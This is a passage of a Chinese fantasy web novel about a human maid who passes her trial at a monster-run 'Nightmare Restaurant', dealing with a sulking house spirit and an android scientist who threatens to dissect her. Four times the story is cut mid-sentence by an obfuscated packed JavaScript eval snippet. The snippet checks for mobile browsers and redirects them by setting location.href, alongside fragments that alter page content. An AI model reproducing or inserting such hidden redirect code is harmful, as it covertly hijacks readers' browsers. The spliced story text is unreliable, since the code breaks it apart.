喇叭状的扩音器里传来低沉的，类似野兽嘶吼的声音：“关我什么事！” “发生在这座房子里的一切你都知道，”莱昂无辜地眨眨眼：“要蒙混过关有点难哦。” “她是个人类！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991221|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我知道你讨厌人类，但这是妈妈的决定，你不会想惹她生气吧？”莱昂故作老成地叹了口气：“德尔，你可是座两百岁的老房子了。你要成熟一点哦。” “轮不到你来教训我！”指针崩开，铜喇叭发出刺耳的高音，走廊重新陷入了沉默。 “脾气还是这么差，”莱昂吐了吐舌，转向心有余悸的艾尔莎。 莱昂的脸上带着友善的微笑，他眉眼轮廓和夫人相似，有种女气的精致。但不同于总是忧心忡忡的夫人，他总是展露着好奇的活力，蔚蓝的眼睛像是万里无云的晴空。 “现在可比前夜好多啦，我差点没能认出你……咦？”莱昂惊呼一声，在艾尔莎身旁蹲下身：“你受伤了。” 艾尔莎这才发现自己在流血，被蚀兽抓伤的两边肩膀各留下了一条血痕，鲜血正如同串珠般涌出来。 莱昂从黑袍中伸出手，纤细的手指上戴满了戒指，镶嵌着的宝石散发着绚丽的色彩。 他手中拿着的玻璃瓶装满绿色的液体：“不怕不怕，我给你涂上治愈药水。” 倒出的药剂化作一团绿光，笼罩在光芒下的伤口迅速愈合，只留下一道浅淡的痕迹。 莱昂满意地点点头。“不愧是我。”他撑着脸颊，歪头看着艾尔莎，乖巧地对她眨了眨眼，似乎在等待什么。 “谢谢您。”艾尔莎立刻会意：“今晚多亏有您，我才能得救。” 莱昂立刻露出了得偿所愿的微笑：“不客气，我送你回房间吧。” 虽然被吓得脸色苍白，艾尔莎还是强撑着摇摇头：“不行的，我还要回去工作。” “那我把你送到大厅，”莱昂扶起艾尔莎：“虽然那里都是怪物，但有妈妈在，大厅还是最安全的地方。” 艾尔莎这才注意到他另外一边手中提着的小箱子：“您是要外出吗？” “哦你说这个，”莱昂扬了扬手提箱：“我正要去上学呢。” 两人并排着向大厅走去，莱昂的陪伴让艾尔莎感到安心。她试图向这位最小的主人搭话：“莱昂少爷，您刚刚说话的对象……德尔是谁？” “啊，你说德尔啊——”他故意拉长尾声，似乎是想让谁听见：“就是这座宅邸的‘灵’哦，在我们搬来前，德尔就是远近皆知的鬼屋了。哦对~你别在意哈，他不是对你有偏见，而是讨厌所有的人类。不过，如果你了解过这座宅邸的历史，也就不难理解德尔的态度。它知道这房里发生的所有事，但要借助一些工具才能表达他的态度哦。” 艾尔莎想到咕咕钟里的木鸟，和自动响起的留声机。她低头沉思，如果要避免类似的事情发生，和德尔搞好关系或许是必要的。 “啊，到了。”铺着月光的大厅近在眼前。莱昂说：“送你到这应该安全了。” 不知哪来的穿堂风，从长廊里呼啸而过，吹拂起莱昂宽大的长袍。那伏动的黑色丝绸轻吻了艾尔莎的手背，像是夜色温柔的错觉。但只是眨眼的瞬间，莱昂就不见了。 取而代之的是一只飞在空中的乌鸦。 乌鸦的爪子攥着手提箱的把手，蓝色的大眼睛闪烁着，漆黑的羽翼朝艾尔莎挥了挥，吐露人言。 “我走啦，你要坚强地活下来哦。” 5. 实验＆斯坦因 餐厅这周的营业终于结束了，艾尔莎倒进床铺，任下陷的床单将她温柔包围。等她睡醒时，夕阳已经垂落，夜色降临，府邸传来窸窸窣窣的动静。 艾尔莎打开门，饥肠辘辘的她打算去厨房找点吃的，顺便再问问伊芙餐厅歇业时间女仆的工作安排。 “人类女仆，”一幅墙头画叫住艾尔莎：“伊芙让你去叫斯坦因少爷起床。” “伊芙在哪呢？我正要找她。” “她在忙呢，她可不像你，睡到现在才醒，懒姑娘。”另一幅墙头画搭腔，对艾尔莎做了个鬼脸：“快点去吧，斯坦因少爷讨厌不守时的人。” 斯坦因……艾尔莎想起那天晚上见到的男人。他有着超脱人类的出色相貌，但散发着危险冰冷的气息。如果可以，艾尔莎并不想要靠近他。 艾尔莎走入大厅，踏上腐朽的旋转楼梯，木头发出不忍重负的喘息，让艾尔莎紧张地握紧把手，生怕会踩出窟窿掉下去。 她还没有上过府邸的二楼，二楼是斯坦因的地盘，漆黑的走道两旁堆满了废弃的零件，倾倒的空药剂瓶。艾尔莎小心翼翼地越过这些小山般的丢弃物。墙头画告诉她，走廊尽头的那扇门就是房间的入口。 门虚掩着，门缝透出淡蓝的光。艾尔莎紧张地交握住双手，深呼吸了一口气，抬起手敲了敲门：“斯坦因少爷。” 或许是她的声音微若蚊蚋，房里没有回答。艾尔莎又清了嗓音重新喊了声，加重力量敲了门，但还是没有得到任何回应。 艾尔莎迟疑了一会，推开了虚掩的门。 和杂乱的走廊形成对比，房内空旷干净，一尘不染。精密的仪器和材料都被分门别类地摆在两侧的架子上，中央圆桌整齐地铺排着图纸和文件。 艾尔莎的视线被圆桌后的巨大的试验缸吸引了，它看起来就像是插满了各种导线，连接了各种设备的鱼缸。而她寻找的斯坦因就在里面。 斯坦因闭着眼仰躺在实验缸中，银发在液体中散开，白色的实验外套衣角蹁跹。 冒着气泡的药剂呈现出一种透明的浅蓝色，银发间露出的那张塑像般棱角分明的脸，呈现出睡着般的柔软神色，他就像是海洋里的人鱼，有种不真实的梦幻美感。 艾尔莎不禁走向他，她把轻轻把掌心贴在玻璃缸上。 漂浮着的斯坦因立刻察觉到了，他睁开眼，柔和的气息一扫而空，那双银灰色的眼眸锐利地扫向艾尔莎。 他伸出手，修长的五指贴向玻璃，隔着玻璃覆盖住了艾尔莎的手。明明没有触碰到，艾尔莎却像是被烫到般地收回手。 但她很快发现自己过度反应了，斯坦因只是撑着玻璃懒洋洋地调换了姿势。他用指节敲了敲玻璃引起艾尔莎的注意，然后食指点了点玻璃。 艾尔莎读懂了他的提示：“你是说……背后吗？” 她还没来及转身确认，脚踝就被冰冷的镣铐扣住。眼前天旋地转，她被倒挂着提了起来。“救——”尖叫卡在喉咙，耳边呼啸过气流，艾尔莎被脚上不可抗拒的力量拉着后退，屁股重重地栽在金属座椅上。 两侧扶手处弹出皮带，将她的手腕层层固定，椅背上伸出的机械臂扣住了艾尔莎脆弱的喉咙。 “这是什么？快放开我！”艾尔莎惊恐地问斯坦因，现在的她看起来简直就是个任人宰割的囚犯。 “看来你不知道一个默认的规则，”像只灵活的鱼摆尾，斯坦因冒出水面，双臂撑在缸上：“我的卧室是这座宅邸的禁地，所有未经允许胆敢踏进来的生物都默认愿意成为我的研究材料。” 艾尔莎脸色大变，她的脑海里掠过墙头画们窃窃私语时的笑脸，心猛地沉了下去，她被这群不怀好意的家伙骗了！ 光脚在地板留下湿漉漉的印记，斯坦因走到被抓捕的艾尔莎面前。“我给你个机会，”他抬起艾尔莎的下巴：“你觉得，灵魂是寄宿在大脑里还是在心脏里？” “……什么？”艾尔莎不明白他的意思。 “灵魂，”斯坦因冰冷的手滑过她的脸颊，留下药剂的味道：“是在大脑里吗？”他的手指紧接着点向艾尔莎的左胸：“还是在心脏？” 他的手就贴在胸前起伏的边缘，那无法忽视的触感让艾尔莎倏忽红了脸。 “心……心脏吧。”艾尔莎变得结结巴巴。 “原因呢？” “因为，”艾尔莎犹豫着说：“觉得开心或者痛苦时，心就会雀跃或者疼痛，但是大脑不会。” 斯坦因不予回应，缓缓地蹙起了眉。 艾尔莎试探着问他：“我的选择会决定什么吗？” “嗯。”斯坦因点头，他伸出手，指尖露出尖锐的锋芒，那是把擦得锃亮的手术刀：“决定是留下你的大脑，还是留下你的心脏。” “等等！”艾尔莎大惊失色：“您明明说要给我机会！” “你似乎有误解。我只是要取走你的一部分器官，不代表你会死亡。你的大脑能在缸中存活，心脏在能在体外跳动。”斯坦因用毫无起伏的语调说：“而你可以获得冻龄的青春和永恒的生命——来自机械的能量。” 这完全没能安慰到艾尔莎，正相反，这说明即便斯坦因对自己下手，他依然可以还一个“正常运转”的女仆给噩梦夫人。 “或许这两个答案都不是正确的！”艾尔莎飞快地说：“只要看噩梦餐厅里的怪物就知道，大脑和心脏都不是灵魂必需的载体，比如伊芙——” “我只对人类的灵魂感兴趣，”斯坦因打断她：“这是我生来的使命。” “使命？”艾尔莎感到一丝荒唐：“那你为什么不研究自己？” “如果我有心脏或者大脑的话，应该已经挖出来研究了，可惜我没有，我是人造人。”斯坦因旋转着脑袋上的螺丝帽，眉毛不耐烦地蹙起：“无聊的对话可以停在这了吧。” 哭泣求饶是不会有用的，契约也阻止不了他，艾尔莎咬着下唇，看着斯坦因的手停留在胸前，确认她心脏的位置。 他近在咫尺的脸英俊而冷漠，凝视着她的视线有种极为执拗的专注。 他在乎的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991222|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情只有实验。 艾尔莎向前挺起胸膛，这让斯坦因的手几乎笼在了她的胸上。和面露不解的斯坦因对视，她轻轻问：“我的心脏变快了，您知道这是为什么吗？” “你害怕死亡。”他斩钉截铁地回。 “有，但并不全是……”艾尔莎忍着羞耻：“还因为您在触碰我，我感到很害羞。” “为什么？”斯坦因微微偏头：“这对我来说不过是脂肪，□□只是皮囊。我不会对你有任何的欲望。你的羞耻感是没有必要的。” 艾尔莎猜对了，斯坦因就像个毫无感情的机器人，他无法理解人类错综复杂的情感，那他又怎么可能真的研究透灵魂。 “黯然或欢愉，高尚或卑微，纯洁或疯狂……这些都是人类对灵魂的形容。”艾尔莎目光灼灼地直视他：“您知道这些词都代表着什么吗？” “书里有记载。”似乎是明白了艾尔莎想要说什么，斯坦因反驳道。即便如此，他又焦躁地旋起了螺丝帽，他确实有无法理解的地方，就比如眼前这个少女，明明能获得永生，却拒绝把身体交给他。 “您需要的研究材料是一个活人，而非一个容器。”看出斯坦因的烦躁，艾尔莎特意放缓的语气中有种诱惑力：“或许您可以用仪器测量大脑和心脏的数据，但您要怎么去解读你完全不理解的事物呢？” “你是要我囚禁你吗？”斯坦因轻轻眯了眯眼。 “不是，人类是很脆弱的。”艾尔莎强颜欢笑地维持冷静：“粗暴的手段只会过快地摧残灵魂，您也不想这么快就失去宝贵的研究材料吧？” “的确。”斯坦因少有地露出赞同：“以前被我绑在手术台上的人通常很快就求饶，坚持不了多久就濒临崩溃。你要比他们要好一些。” 艾尔莎闭上了嘴，她不想追问那些人的下落。 “那么，这份勇气是因为大胆，还是因为无知？”斯坦因嘲讽地扬起嘴角：“还是两者都有？” 斯坦因撤掉了抵住艾尔莎的手术刀，这让艾尔莎暗中松了口气。 “我可以暂时放你自由，但每周固定的这个时间，你要来我的房间协助实验。”斯坦因说：“这个协议将持续到你结束女仆身份前。” “结束女仆身份前？” “你过不了试用期的。”斯坦因恶劣地说：“你迟早是我的。” “我会成为正式的女仆的。”艾尔莎忍不住反驳他：“伊芙都夸我做得很好。” “哦？那你今天怎么会到我的房间？”斯坦因拆穿她：“难道不是被怪物们骗进来的吗？连基本的社交关系都没有处理好。” 被斯坦因指出社交的问题让艾尔莎很不服气，“不需要您操心。”艾尔莎继续嘴硬：“您该把我放开了！” 斯坦因在椅背上揿下按钮，艾尔莎身上的束缚悉数解开，她几乎是立刻就蹦了起来，这该死的椅子她一秒钟都不想再坐了。 “记得我们的约定，”斯坦因露出冰冷的笑意：“在你完成作为实验材料的价值前，我是不会放你离开的。” 6. 契机＆针刺球 “艾尔莎！”凌晨时分，得知消息的伊芙闯进了门。 她拉着艾尔莎打量了好几遍，见艾尔莎全身完整，没有可疑的，被替换成机械的迹象。一直提心吊胆的伊芙终于能长舒了口气：“我外出采购才回来，就听说你未经许可进了斯坦因少爷的房间！” “别担心，”见她是真的关心自己，艾尔莎的内心涌动起一股暖流：“斯坦因少爷没有对我做什么。” “本来想着周末营业才结束，今天就应该让你好好休息，所以就没有来打扰你。没想到居然会出这样的事。”伊芙坐到艾尔莎的床榻旁，语气愧疚：“是我疏忽了，只有正式女仆才能拿到宅邸里的所有钥匙，我本来打算那个时候再提醒你，宅邸里有三大不能进的地方。” “我不会再乱跑了……”艾尔莎允诺道，想了想她加上了一句：“也不会再随便上当。” 知道了墙头画们的恶作剧后，伊芙以女仆长的身份警告了它们，但这只能让它们暂时安分些，却不能震慑它们的行为。 如果墙头画们没有顾忌，像今天这样带有恶意的事就可能一再发生。 艾尔莎似乎有自己的考量：“伊芙，我想知道德尔和墙头画们的关系。” “它们？”伊芙有点意外：“嗯……德尔他不喜欢墙头画，因为觉得它们的画技拙劣，破坏了审美。不过，德尔和怪物们的关系都很疏远，一般谁的闲事都不管。” 艾尔莎若有所思地点点头。伊芙虽然有点担心，却没有继续追问艾尔莎。 “总之，你要尽快升成正式女仆才行，这才是最保险的方法。噩梦餐厅里的所有正式员工不可以相互陷害，噩梦夫人讨厌这种勾心斗角的事。”伊芙忧心忡忡：“但这需要些契机……” “没关系的，我有耐心。”艾尔莎反过来安慰伊芙：“等机会来的时候，我会好好把握住的。” 契机比想象中来的更快。时间一转，又是噩梦餐厅开业的日子。 马上就到正式的营业时间，月色洒满的大厅中，艾尔莎刚摆好餐盘。忽然出现的伊芙有些着急：“艾尔莎，出了点状况，和我来一趟。” 她们急匆匆地走到后门，临近悬崖的后院埋着几座坟墓，石碑上的刻文被缠绕的藤蔓遮蔽。 僵尸门童呆滞地站立在一旁，夫人亭亭站在庭院中，正为难地看着身边棘手的“客人”。 这是个球形的生物，身上被层层叠叠的尖刺包裹着，这使它看起来就像个膨胀的大号海胆。 当它说话时，浑身的金属共振，发出清脆的撞击音，将它本就模糊的话语敲击得零零碎碎。 语言成了最大的沟通障碍，就连侧耳倾听的夫人都有点维持不住体面的优雅。 在外等候的怪物宾客都好奇地看着针刺球，它并不是噩梦餐厅的熟面孔。但这也不稀奇，噩梦餐厅美名在外，时常吸引远道而来的怪物。 针刺球忽然暂停了交流，身体微微向内蜷缩，仿佛在忍耐什么冲动。 “……它看起来不太对劲。”爱尔莎话音未落，针刺球就猛地一颤，像是绷紧的弓弦被放开，身上的针刺纷纷弹出。 “小心！”警戒着的爱尔莎反应很快，她猛地拉着伊芙弯下身，躲到了墓碑背后。 针刺敲到在石碑上发出清脆的声响，墓碑帮她们挡掉了针雨的攻击。 但有些围观的宾客可就没有那么幸运了，有个被扎成刺猬的泥巴怪慌不择路地跳下了悬崖，“哇啊——”尾音久久地在空中回荡。 射向噩梦夫人的针刺悬浮在她身前，都被看不见的屏障挡住了。夫人朝悬崖下怜悯地看了眼：“看来得通知厨房，今晚要空出个座位。” 她挥了挥手，针刺散落一地。幸存的宾客们不着痕迹地后退，远离这个棘手又阴晴不定的针刺球。虽然没有怪物愿意成为靶子，但噩梦餐厅一座难求，值得冒点风险。 夫人谢绝了吻手礼。“伊芙，艾尔莎，招待客人。”她的笑容有点勉强，但噩梦餐厅不会把任何客人拒之门外。 针刺球艰难地挤进了走廊，它就像被塞进圆筒里的球，在直径不匹配的边缘使劲努力。锋利的针头刮在墙上，木屑飞溅，留下长长的痕迹。 木质小鸟从钟表中跳出来，德尔愤慨地大吼，“滚出去——呜呜！”它被夫人施了禁言咒，只能徒劳地瞪着一双弹珠镶嵌的眼睛。 “哦天呐，”两侧的墙头画看见了，再也说不出恭维话。为了避免被毁容，全都瑟瑟发抖地翻转过木板，背对着走廊。 伊芙和爱尔莎跟在它身后。有一阵伊芙发现爱尔莎落后了，她放慢脚步对跟上来的爱尔莎小声说：“这位客人交给我。你就别跟着了，小心受伤。” “可是这些针刺也会伤到你吧？”爱尔莎忧心地蹙起眉，虽然骷髅没有皮肉，但金属对骨头的冲击力也不容小觑。 伊芙没有否认：“可你是人类，在怪物面前流血可不是开玩笑的，这里有我就可以了。” 爱尔莎犹豫着没说话，她忽然想到了什么，眼睛一亮。“我马上回来。”她提着女仆裙摆跑走了。 针刺球终于离开了狭窄的甬道，滚进了开阔的大厅，在圆桌前落座。 伊芙一边将菜单在它面前摊开，一边观察这位既没有手也没有嘴巴的客人，为难地思考该怎么提供服务。 金属蜂鸣的声音又响起了，这是针刺球在说话，什么也没听懂的伊芙露出尴尬的微笑。这时，她的余光瞥见去而复返的艾尔莎。 爱尔莎的两只手臂端着长方形的餐盘，像是捧着一副狭长的刀匣。 伊芙认出这是用来装清蒸整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991223|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只哥布林主菜的餐具，只是现在还远远没到主菜的时间，艾尔莎为什么会把它端上来？ “您好，这是特别招待您的餐前菜，欢迎光临噩梦餐厅。”爱尔莎提着把手揭开盖子，精致小巧的餐前小吃被放在居中的位置，和这明显不合适的餐盘格格不入。 艾尔莎退到伊芙身边，“你怎么回来了？”伊芙小声问。 “总不能让你一个人面对吧。”艾尔莎把竖着的餐盖放置在她们面前，对伊芙使了使眼色：“有这个就安全多了。” 这是爱尔莎特意向鱼人厨师借来的餐具，半人高的餐盖就像是个金属盾牌，这位难缠的客人就算再多来几个喷嚏也不用担心。 “客人，我想向你介绍一下今天的厨师推荐主菜，如果您对此有兴趣，请出声让我知道，可以吗？”伊芙不愧是最受信任的女仆长，她优雅地弯下腰，真诚地问针刺球。 针刺球发出破碎的单音节，但这次艾尔莎也听懂了，这是赞同的意思。 伊芙耐心地和针刺球确定好几道主菜，又自告奋勇就帮他搭配好了其余的餐点。 “那么请您稍等。”伊芙抱着菜单就要离开，却看见针刺球又危险地蜷缩了起来。 “伊芙！”一旁等候的艾尔莎将餐盖挡在她们面前。针刺击打在餐盖上，甚至穿透了金属。所幸艾尔莎将盾牌拿得很稳，她和伊芙都平安无事。 但旁边那桌的客人就没有那么幸运了，针刺将它们戳成了凝固的仙人掌。 伊芙连忙前去安抚，艾尔莎却被地毯上掉落的针刺吸引了注意力。 艾尔莎捡起掉落的针刺，在户外时她还没有注意到蹊跷，现在凑近看这危险的“暗器”，艾尔莎才注意到针刺有些不同寻常，一边是泛着冷光的针尖，但尾端却很平滑，凿出了能穿透的孔。 孔？这绝不会是自然生长的针刺，尾端的洞明显是手工磨出来的，就像是缝纫时来用来穿线的…… “缝衣针？”爱尔莎轻呼。 艾尔莎突然意识到，这些针刺可能不是这位怪物客人自带的。 正在为隔壁桌免单的伊芙不明所以地看向爱尔莎。她正目光炯炯地站在针刺球背后，大胆地伸出手，从针刺球身上拔下一根刺来。 这对客人来说未免太无礼了。“艾尔莎，”伊芙迷茫又惊愕，连忙拉住她：“你在干什么呢？” “这种吸附的手感，是磁铁……”爱尔莎眼睛一亮，转身对伊芙说：“这些缝衣针是吸附到它身上的，这位客人的原貌很可能不是针刺球！” “您需要帮助吗？我的意思是，您想要去除身上的针吗？”爱尔莎弯腰凑近针刺球：“如果不介意的话，我可以试试。” 针刺球发出破碎的回答，熟悉的单音节，伊芙和艾尔莎都知道，这是赞同的意思。 7. 钉枪＆史莱姆 还在村子里的时候，艾尔莎见过铁匠铺用火炉去除磁性。 她拿起桌面上的烛台，将燃烧的火苗凑近针刺球，小心翼翼地灼烧局部。等火焰将银针烤得隐隐泛红，消磁的针刺簌簌掉落。 伊芙也从隔壁借了烛台，依葫芦画瓢地清除着针刺。随着脚下缝衣针的增多，本来圆鼓鼓的身体渐渐出现了一块深深的凹陷。 异物层层剥落后，露出一层淡绿色的薄膜。 “伊芙，”艾尔莎惊呼：“这好像是史莱姆的颜色？” 淡绿粘液的表面被撑开，像是被吹鼓胀的气球，但仍保有果冻状的弹性和顺滑。 粘液下埋有深重的暗影，艾尔莎的手指轻轻戳进皮肤，指尖触到了金属的坚硬质地。 “他好像不小心吞入了什么硬块，还是能吸引缝衣针的……说不定是块大磁铁。”艾尔莎扒着漏洞，观察了一会说：“我们得把它取出来。” 只靠她们两的力量有些勉强，艾尔莎想起斯坦因的实验室里应该有强力磁铁。 “请您稍等我一下，”艾尔莎对针刺球抱歉地说：“我去取个工具。” 艾尔莎跑上二楼，轻敲斯坦因半掩的门。冷淡的声音从里传来：“什么事？” 她推开门，斯坦因正坐在书桌前，边皱着眉，边旋转着头上的螺丝帽，画着复杂图形的牛皮卷散落在桌面。 艾尔莎向他说明来意：“我想向您借工具。” “那边架子上的都能帮到你，但是，我为什么要帮你？”斯坦因没抬眼看她，目光紧紧地锁在书卷上：“你要是搞砸了，正好能来做我的实验体。” 艾尔莎假装没听到他的毒舌，“谢谢您的慷慨，”她悄悄移动脚步，从旁边的架子上，标记着磁铁相关的工具里挑了把看起来趁手的器械：“我用完后马上还回来。” “……你不要随便碰我的发明，不懂操作反而会送掉性命。”没有得到应答，斯坦因不满地回头，发现人已经一溜烟跑掉了。 回到大厅，艾尔莎掂量着手中像猎枪一样的发明。以防意外，在客人身上用前，她决定先试验下安全性。 她离远了针刺球，调转枪口对准大厅的窗外，扣下了扳机。 枪口泛出荧光，与此同时，针刺球的全身都开始震颤起来，针刺纷纷被更强大的磁力吸引住了。艾尔莎察觉到了一丝危险的不妙，她似乎低估了斯坦因发明的效力。 但在她来得及扔掉枪前，被猛地拔出的刺汇聚成漫天的针雨，铺天盖地地朝她袭来。 “艾尔莎！”伊芙担心地尖叫。艾尔莎畏惧地闭上眼，但想象中的疼痛并没有到来。 有个人的出现更快一步。 冰冷的手心覆盖住了艾尔莎的手背，出现在身后的斯坦因握着她的手再次揿下了按钮。 枪口前端像把伞面般绽放开，有着暗纹的厚实布料，表面泛着奇异的光芒。 击打在“伞面”上的针刺全部被卸去了力，尖锐的刺不仅没能损伤布料，甚至没有留下清晰的划痕。 艾尔莎还惊魂未定：“斯坦因少爷……” 她回过头。她几乎是窝在斯坦因的怀中，斯坦因低头看她，银色的长发垂落在她耳边。修长的身高如笼罩她的阴影。 “你的身体是属于我的。”斯坦因说，虽然语义容易误会，但他冰冷的语气不会引发任何暧昧的遐想：“你要是愚蠢地伤害到了自己，我们间的契约就立刻结束。” 他做了个干脆利落抹脖子的动作。 “是我太着急太鲁莽了，”艾尔莎心有余悸：“下次一定不会了！” “记住你的承诺。”斯坦因没收了艾尔莎手中的凶器，面露嫌弃地把一块小磁铁塞进了艾尔莎的手中：“你的智商就只适合用这个。” 他抬眼看向不远处的针刺球：“随便吃东西是会坏肚子的。”他眯起眼，冷嘲了一句。 吸附的针刺脱落完后，彻底露出了客人的原本的样貌。 原来他是噩梦餐厅的熟客，一只高贵的史莱姆王子——艾尔莎上次不小心踩到它时，它还善解人意地谅解了艾尔莎。 但此时他淡绿色的肚子被巨大的磁铁填满了，他肯定是在哪误吞了磁铁后，又滚进了装满缝衣针的仓库，才会被变成针刺球。 “这个磁铁的体积，靠我们的力量可拉不出来。”伊芙急忙跑去喊帮手。 艾尔莎再回头时，斯坦因已经不见了。 她握紧手中斯坦因刚刚塞给她的铁块，那是个U型铁块。艾尔莎跑到史莱姆身旁，将铁块吸附到磁铁上。 这也不是普通的铁块，大概是被斯坦因改造过，它反扣住了磁铁，牢固得纹丝不动。 艾尔莎找来粗绳索，穿过U型铁块，刚打好绳结，伊芙和帮手们也都来了。 鱼人厨师带着地精，门童僵尸后跟着其他骷髅仆从，除了不能走动的墙头画外，餐厅的员工们都集中到了大厅。 鱼人厨师大声抱怨道：“快点！后厨还炖着毒蘑菇呢！” “……”僵尸门童表示了赞同。 不知何时，夫人也静悄悄地出现了，她站在旋转扶梯上，古老的咒语从她的唇齿间流淌而出，光芒笼罩了史莱姆。 “这是定身咒，会把它固定在这里，你们可以拔了。”夫人朝艾尔莎点点头：“速战速决，要给客人宾至如归的体验。” 艾尔莎站在绳索的最前方，身后是在骂骂咧咧，但还是伸手握住绳索的怪物们。为餐厅服务的怪物们在此时是团结一致的伙伴。 连宾客们都停下享用手中的美食，为他们加油鼓劲起来。 伊芙提高声量：“听我的指令，一、二、拔——” 所有怪物听令向后仰，将那沉重的磁铁寸寸地从绿色粘液里拔出来。史莱姆发出“咕噜噜”的气泡音，“很好，就差一点，继续！”伊芙鼓励大家：“一、二、拔——” 当这个磁铁的三分二都重新暴露到空气中时，史莱姆像闹肚子般不断变形了起来，它膨胀又缩小，再次膨胀时，它终于将铁块“呕吐”了出来，绿色的粘液打湿了大厅的地毯。 艾尔莎揉了揉发红的手心，她红扑扑的脸颊上洋溢着灿烂的笑容：“成功了！” “呼啊——总算摆脱掉这沉重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991224|193714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身躯了。”史莱姆说。没有了金属的嗡鸣，这下所有人都能听懂它的话了。 “失礼了。”它伸出手，从肚子上揪出了一团粘液，捏成王冠的形状重新戴到了头上：“原来的那□□丢了。” 来到噩梦餐厅前，它有段不太愉快的冒险。就和艾尔莎猜测的差不多，他不小心从山坡上滑落，栽进了沉重的磁铁中，又在来的路上误入了缝衣针的手工作坊。 “衷心感谢各位的帮忙，请让我表达最真挚的谢意。”夫人没再婉拒它的亲手礼，史莱姆王子在夫人的手背上落下轻吻：“来噩梦餐厅用餐真是愉快的体验，无论何时，你们都能提供最满意的服务。” “还有你，聪明善良的小姐，你就像童话故事里，破解王子诅咒的命运之人。”史莱姆同样向艾尔莎行了吻手礼：“夫人，拥有这样出色的手下，您会感到骄傲吧。” 夫人露出微笑：“当然，我会奖励她的。” 这个夜晚的开端虽然充满了意外和惊吓，但总算迎来了宾主尽欢的好结局。送走史莱姆后，艾尔莎发现夫人正在等她。 “艾尔莎，”夫人语气轻柔地说：“过来。” 艾尔莎和伊芙对视一眼，伊芙轻轻地推了推她，语气难掩开心：“快去吧。” “艾尔莎，瞧你翘尾巴的样子，你知道我要说什么。”夫人含着笑瞥了她一眼：“没错，恭喜你顺利通过了女仆试用。从今天起，你就正式是噩梦餐厅的一员了。” 夫人从袖子里拿出一串黄铜钥匙，形状大小不一的钥匙叮叮铛铛碰撞在一起，发出清脆的鸣音。 “但不知道你的短发什么时候能长好，”夫人面露担忧：“你不会秃吧？”想象到这个可怕的场景，她面露悲伤：“我是绝对不会允许一个鸟窝或者扫把成为我的仆从的。” 艾尔莎摸了摸自己的头发，她收下这串表示接纳的信物，低头露出了开心的笑容。 虽然只是最低端的女仆，但这代表半个月的努力没有白费，她总算是能让自己漂泊不定的命运回到安全的轨道上。 艾尔莎把U型铁块送还给斯坦因的房间，斯坦因还坐在桌前画着图纸，他专注的侧脸紧绷着，时手中的羽毛笔飞速地画出图稿。 艾尔莎不想打扰他，把东西放回原地，就垫着脚悄悄离开。 她走到门口时，斯坦因忽然出声问：“楼下的麻烦呢？”他抛开笔，眉目舒展，这代表他的研究有了不错的进展。 “都解决了，”艾尔莎条件反射地直起腰：“因为您的发明很优秀，让一切都很顺利。” “有多顺利？”斯坦因察觉到了不妙，他眯起眼睛，刚转晴的心情立刻乌云密布：“你跑什么？” 艾尔莎扶住了门把手，要是被斯坦因知道，他的助攻成功让艾尔莎转正成女仆，还不一定要怎么大发雷霆。 但她在钻出房间时，还是没忍住摇动了自己的裙摆。腰间象征正式女仆身份的黄铜钥匙骄傲地鸣唱起来。 察觉到她炫耀的小心思，斯坦因杀人般的眼神凌厉地刮了过来，但无奈只刮到了门上，艾尔莎的身影早就不见了。 8. 德尔＆贿赂 正式成为女仆的第一天，伊芙来给艾尔莎交代注意事项。 “宅邸里有三个禁地，斯坦因少爷的房间，莱昂少爷的阁楼，和夫人的密室。未经允许入内，后果都要自负。”伊芙叮嘱道：“斯坦因少爷的已经闯过了，要好好控制住对其他两个的好奇心。” 路过墙头画时，一贯趾高气昂的画像们都垂下了头，显出一副闷闷不乐的样子。 艾尔莎快步跟上伊芙：“它们怎么了？看起来都不太精神。” “昨晚的煤油灯灯座松了，垂下来晃动的煤油灯虽然没有伤害到墙头画们，但可把它们吓得不轻。” “真可怜。我睡得太熟了，没有听到它们的呼救。” 